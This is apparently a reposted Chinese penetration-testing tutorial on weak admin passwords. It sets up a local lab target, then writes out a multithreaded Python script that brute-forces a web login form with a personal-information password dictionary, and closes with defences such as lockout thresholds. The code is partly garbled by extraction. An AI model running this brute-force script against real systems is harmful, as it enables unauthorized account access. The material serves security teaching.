后台弱口令问题

 

 

网站的运营管理不能缺少后台管理系统的支持,若能成功进入后台管理系

统,就意味着在Web渗透测试中成功了一大半。进行非授权登录有很多种方法, 这里主要介绍的是弱口令问题,破解弱口令是进入系统的最常见也是最有效的方 法,防御方要对该方法加以重视。

 

 

 

 

 

 

7.2.1    编写脚本

首先,我们需要在靶机上搭建服务器,这里靶机的系统为Windows 10(IP地 址为192.168.123.124),具体步骤如下。

首先安装phpStudy并启动服务,这样服务器就会在80端口上对外提供HTTP的 服务,如图7-3所示。

fbb4404324c2426f82634fdeeecbe7d3.png

图7-3    安装phpStudy并启动服务

然后将这里的靶场源码文件(WeakPass-word)复制到phpStudy的网站根目录 下。可以点击phpStudy界面上的“其他选项菜单”按钮,再选择“ 网站根目录” ,此  时会自动弹出网站根目录。

打开浏览器,输入http://192.168.123.124/WeakPassword/login.html ,如图7-4所 示。

 

 

 

 

 

e982c17e775d4d519b8cf124566606aa.png

图7-4    靶机页面

提示:若出现无法访问靶机网页的情况,请检查靶机的防火墙是否开放80端 口。

此时靶机的HTTP服务是正常启动的,这里还需要在数据库中增加管理员的  账号、密码数据。接下来需要在靶机服务器上安装Navicat for MySQL工具来管理 数据库,该工具界面如图7-5所示。

 

 

 

 

 

8cf15684374d4582b5c9fd77ec1be604.png

图7-5    Navicat for MySQL工具

点击“连接”按钮,新建一个MySQL连接,填写的信息如下:

 

49d5286bc1c44f91b9938f8c049cfbba.png

这里需要注意的是,IP地址127.0.0.1和localhost都表示本地的MySQL数据   库,如果将IP地址填写为靶机服务器的IP地址192.168.123.124 ,则会出现拒绝连 接的情况,如图7-6所示。

 

 

 

 

 

44e3be7aede2433ba5294f4f321115fd.png

图7-6    拒绝连接

这是因为MySQL默认是拒绝远程用户通过root进行登录的,可修改MySQL数 据库中user表的内容来解决这个问题。填写完信息后,可以点击“连接测试”按钮  来测试数据库是否能够正常访问,如果能正常访问,则会出现“连接成功” 的提

示,如图7-7所示。

然后点击“确定”按钮,连接就会出现在左侧栏的连接信息窗口里面。接下来 双击打开数据库并右击,选择“运行SQL文件”命令,选择ms08067.sql文件并点   击“开始”按钮,成功导入数据时会出现如图7-8所示的提示。

 

 

 

 

 

4c3ac5894cfe484c84525bac44747a0c.png

图7-7    连接成功

 

 

 

 

 

e1222476454c43c69ac998e80e58c2a6.png

图7-8    导入数据成功

到这里,我们的靶场环境就搭建成功了。

接下来,需要对网页提交的POST数据包进行分析,找出弱口令破解所需要的 字段信息。这里使用Burp Suite对网页提交的数据包进行拦截并查看,信息如下所 示:

 

 

 

 

 

b846253096c940bcb618508cf895466c.png

此时,将这个数据包发送出去,网页中会出现“Login failed!” 的提示,说明 登录失败。

假设在前期的信息搜集过程中我们知道了该后台系统管理员的个人基本信息 (这里采用7.1.1节中的数据),那么,现在只需要让脚本读取7.1.1节生成的社会 工程学密码字典文件,并模拟发送POST数据包,若返回的页面内不包含“Login    failed!”字符串信息,则表示我们找到了正确的密码。

f22da56bdab24d7d8e2796ea40c18013.png

设计思路:为了确保爆破弱密码的高效性,我们采用了多线程的方式,让脚 本分别读取目录下的username和passwords文件的内容,并将读取到的内容根据

BLOCK_SIZE的大小分割成许多的账户块和密码块,让每个子线程遍历自己分配  到的账户块和密码块中的数据,模拟POST请求进行破解,若子线程找到了正确的 账户密码,则显示结果并保存到result文件中,然后退出脚本。

 

 

 

 

 

接下来就可以开始编写后台密码爆破脚本了。

1)写入脚本信息,导入相关的模块:

 

#!/usr/bin/python3

# -*- coding: utf-8 -*-

import os

import threading

import requests

# 分块大小

BLOCK_SIZE = 1000

2)编写列表分块函数,将传入的列表分割成多个子列表:

# 列表分块函数

def partition(ls, size) :

return [ls[i :i+size] for i in range(0,len(ls),size)]

 

3)编写破解函数,该函数主要负责对数据进行分割、创建子线程并分配任 务等前期工作:

def BruteForceHttp() :

# 读取账号文件和密码文件并存入对应列表

listUsername = [line .strip() for line in open("username")]

listPassword = [line .strip() for line in open("passwords")]

# 对账号列表和密码列表进行分块处理

blockUsername = partition(listUsername, BLOCK_SIZE)

blockPassword = partition(listPassword, BLOCK_SIZE)

threads = []

# 把不同的密码子块分给不同的线程去破解

for sonUserBlock in blockUsername:

for sonPwdBlock in blockPassword :

# 传入账号子块和密码子块实例化任务

work = ThreadWork(sonUserBlock,sonPwdBlock)

# 创建线程

workThread = threading .Thread(target=work.start)

# 在threads中加入线程

threads .append(workThread)

# 开始子线程

for t in threads:

t.start()

# 阻塞主线程,等待所有子线程完成工作

for t in threads:

t.join()

4)创建子线程任务类,在其中具体定义子线程应该如何进行破解工作:

class ThreadWork :

# 目标URL

url = "http://192 .168 .123 .124/WeakPassword/login .php"

headers = {

'User-Agent ' : 'Mozilla/5 .0 (Macintosh; Intel Mac OS X 10 7 3) AppleWebKit/535 .20 '

'(KHTML, like Gecko) '

 

 

 

 

 

'Chrome/19 .0 .1036 .7 Safari/535 .20 '

}

# 类的构造函数

def __init__(self,username,password) :

self.username = username

self.password = password

# 根据传入的账户密码进行破解

def run(self,username,password) :

data = {

'username ' : username,

'password ' : password,

'submit ' : '%E7%99%BB%E5%BD%95 '

}

# 显示正在尝试的数据

print("username:{},password :{}" .format(username,password))

# 发送post请求

response = requests .post(self.url,data=data,headers=self.headers)

# 根据返回的内容中是否包含登录失败的提示来判断是否登录成功

if 'Login failed! ' in response .text :

pass

else:

# 找到正确的账户密码后,就把账户密码显示出来并输出到result文件中,并 让程序终止

print("success !!! username: {}, password : {}" .format

(username, password))

resultFile = open( 'result ', 'w ')

resultFile .write("success !!! username: {}, password : {}" . format(username, password))

resultFile .close()

# 程序终止,0表示正常退出

os ._exit(0)

# 从传递进来的账户子块和密码子块中遍历数据

def start(self) :

for userItem in self.username:

for pwdItem in self.password :

# 传入账户和密码数据进行破解

self.run(userItem,pwd Item)

 

5)编写main 函数:

if __name__ == '__main__ ' :

print("\n#####################################")

print("#

print("#

print("#

这样我们的破解脚本就完成了。运行后结果如下所示:

4a78f0bb4a1c47a1abc412c371a52845.png

 

 

 

 

 

 

7.2.2    防御策略

 

通过上述编写脚本的过程我们也可以看出,通过脚本使具有可能性的密码组 合不断地猜解后台的密码,很有可能找到弱口令。因此,要预防弱口令爆破,可 以使用以下方式:

· 设定密码验证阈值,超过阈值将进行锁定。

·使用的密码尽量具有一定的复杂性,避免使用个人信息作为密码。推荐使用 类似1Password的密码管理工具。

· 定期更换密码。

· 更改后台的默认路径,避免后台地址被猜测到。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/670863.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何在 Java 中通过 Map.Entry 访问 Map 的元素

我们使用 Map.Entry 来遍历 ConcurrentHashMap 的代码片段如下&#xff1a; for (Map.Entry<String, String> entry : map.entrySet()) { System.out.println("Key: " entry.getKey() ", Value: " entry.getValue()); } 在 Map.java 中&…

RabbitMQ_00000

MQ的相关概念 RabbitMQ官网地址&#xff1a;https://www.rabbitmq.com RabbitMQ API地址&#xff1a;https://rabbitmq.github.io/rabbitmq-java-client/api/current/ 什么是MQ&#xff1f; MQ(message queue)本质是个队列&#xff0c;FIFO先入先出&#xff0c;只不过队列中…

web前后端小坑记录

游戏服务器过年这段时间忙完了&#xff0c;好久没看web了&#xff0c;重温一下。发现竟然没有文章记录这些修BUG的过程&#xff0c;记录一下。 目录 如何处理F5刷新&#xff1f; 如何处理F5刷新&#xff1f; 后端应该发现路由不存在&#xff0c;直接返回打包好的index.html就…

2024美赛数学建模C题完整论文教学(含十几个处理后数据表格及python代码)

大家好呀&#xff0c;从发布赛题一直到现在&#xff0c;总算完成了数学建模美赛本次C题目Momentum in Tennis完整的成品论文。 本论文可以保证原创&#xff0c;保证高质量。绝不是随便引用一大堆模型和代码复制粘贴进来完全没有应用糊弄人的垃圾半成品论文。 C论文共49页&…

第6节、T型加减速转动【51单片机+L298N步进电机系列教程】

↑↑↑点击上方【目录】&#xff0c;查看本系列全部文章 摘要&#xff1a;本章介绍步进电机T型加减速的控制方法&#xff0c;分三个小节&#xff0c;本小节主要内容为该控制方法的推导与计算。目前各平台对该控制方法介绍的文章目前较多&#xff0c;但部分关键参数并未给出推导…

Linux【docker 设置阿里源】

文章目录 一、查看本地docker的镜像配置二、配置阿里镜像三、检查配置 一、查看本地docker的镜像配置 docker info一般没有配置过是不会出现Registry字段的 二、配置阿里镜像 直接执行下面代码即可&#xff0c;安装1.10.0以上版本的Docker客户端都会有/etc/docker 1.建立配置…

在openSUSE-Leap-15.5-DVD-x86_64中使用deepin-wine-8.16再使用微信3.9.7.29

在openSUSE-Leap-15.5-DVD-x86_64中使用deepin-wine-8.16再使用微信3.9.7.29 《在openSUSE-Leap-15.5-DVD-x86_64中使用deepin-wine-6.0.0.62再使用微信3.9.5》 https://blog.csdn.net/weixin_42145772/article/details/135074804?spm1001.2014.3001.5501 按照上面文章的方法…

计算机设计大赛 深度学习 python opencv 实现人脸年龄性别识别

文章目录 0 前言1 项目课题介绍2 关键技术2.1 卷积神经网络2.2 卷积层2.3 池化层2.4 激活函数&#xff1a;2.5 全连接层 3 使用tensorflow中keras模块实现卷积神经网络4 Keras介绍4.1 Keras深度学习模型4.2 Keras中重要的预定义对象4.3 Keras的网络层构造 5 数据集处理训练5.1 …

飞天使-k8s知识点16-kubernetes实操1-pod

文章目录 深入Pod 创建Pod&#xff1a;配置文件详解写个pod的yaml 文件深入Pod 探针&#xff1a;探针技术详解 深入Pod 创建Pod&#xff1a;配置文件详解 资源清单参考链接&#xff1a;https://juejin.cn/post/6844904078909128712写个pod的yaml 文件 apiVersion: v1 kind: P…

Android Compose 一个音视频APP——Magic Music Player

Magic Music APP Magic Music APP Magic Music APP概述效果预览-视频资源功能预览Library歌曲播放效果预览歌曲播放依赖注入设置播放源播放进度上一首&下一首UI响应 歌词歌词解析解析成行逐行解析 视频播放AndroidView引入Exoplayer自定义Exoplayer样式横竖屏切换 歌曲多任…

Unix五种I/O模型(阻塞、非阻塞、多路复用、信号驱动、异步)

文章目录 概要一、I/O基础二、阻塞式I/O三、非阻塞式I/O三、I/O多路复用四、信号驱动I/O五、异步I/O六、小结 概要 在工作中&#xff0c;经常使用Nginx、Redis等开源组件&#xff0c;常提到其高性能的原因是网络I/O的实现是基于epoll&#xff08;多路复用&#xff09;。这次呢…

护眼灯的色温标准是什么?护眼灯参数标准介绍

选择合适的护眼台灯不仅能提升家居的品质&#xff0c;还能为我们的生活增添一份温馨与舒适。不过有些色温调节不当不仅不能达到很好的学习效率&#xff0c;还容易打瞌睡&#xff0c;甚至伤眼睛的情况也有可能出现&#xff0c;那么什么色温有什么标准呢&#xff1f; 一、合适的…

互联网加竞赛 基于深度学习的动物识别 - 卷积神经网络 机器视觉 图像识别

文章目录 0 前言1 背景2 算法原理2.1 动物识别方法概况2.2 常用的网络模型2.2.1 B-CNN2.2.2 SSD 3 SSD动物目标检测流程4 实现效果5 部分相关代码5.1 数据预处理5.2 构建卷积神经网络5.3 tensorflow计算图可视化5.4 网络模型训练5.5 对猫狗图像进行2分类 6 最后 0 前言 &#…

大型语言模型(LLM)的优势、劣势和风险

最近关于大型语言模型的奇迹&#xff08;&#xff09;已经说了很多LLMs。这些荣誉大多是当之无愧的。让 ChatGPT 描述广义相对论&#xff0c;你会得到一个非常好&#xff08;且准确&#xff09;的答案。然而&#xff0c;归根结底&#xff0c;ChatGPT 仍然是一个盲目执行其指令集…

进程控制(Linux)

进程控制 一、进程创建1. 再识fork2. 写时拷贝 二、进程终止前言——查看进程退出码1. 退出情况正常运行&#xff0c;结果不正确异常退出 2. 退出码strerror和errno系统中设置的错误码信息perror异常信息 3. 退出方法exit和_exit 三、进程等待1. 解决等待的三个问题2. 系统调用…

银行数据仓库体系实践(17)--数据应用之营销分析

营销是每个银行业务部门重要的工作任务&#xff0c;银行产品市场竞争激烈&#xff0c;没有好的营销体系是不可能有立足之地&#xff0c;特别是随着互联网金融发展,金融脱媒”已越来越普遍&#xff0c;数字化营销方兴未艾&#xff0c;银行的营销体系近些年也不断发展&#xff0c…

【精选】java继承进阶,子类继承父类(内存图、内存分析工具)

&#x1f36c; 博主介绍&#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 hacker-routing &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】 &#x1f389;点赞➕评论➕收藏…

ftrace工具学习笔记

ftrace是一个功能强大的Linux内核跟踪工具&#xff0c;可用于分析内核的行为和性能问题。它可以用来收集各种内核跟踪数据&#xff0c;如函数调用、内存分配、中断处理等。以下是ftrace的一些主要特点和用法&#xff1a; ftrace是内核自带的跟踪工具&#xff0c;因此无需安装。…

FRP内网穿透如何避免SSH暴力破解(二)——指定地区允许访问

背景 上篇文章说到&#xff0c;出现了试图反复通过FRP的隧道&#xff0c;建立外网端口到内网服务器TCP链路的机器人&#xff0c;同时试图暴力破解ssh。这些连接造成了流量的浪费和不必要的通信开销。考虑到服务器使用者主要分布在A、B、C地区和国家&#xff0c;我打算对上一篇…

ELAdmin 前端启动

开发工具 官方指导的是使用WebStorm&#xff0c;但是本人后端开发一枚&#xff0c;最终还是继续使用了 idea&#xff0c;主打一个能用就行。 idea正式版激活方式&#xff1a; 访问这个查找可用链接&#xff1a;https://3.jetbra.in/进入任意一个能用的里面&#xff0c;顶部提…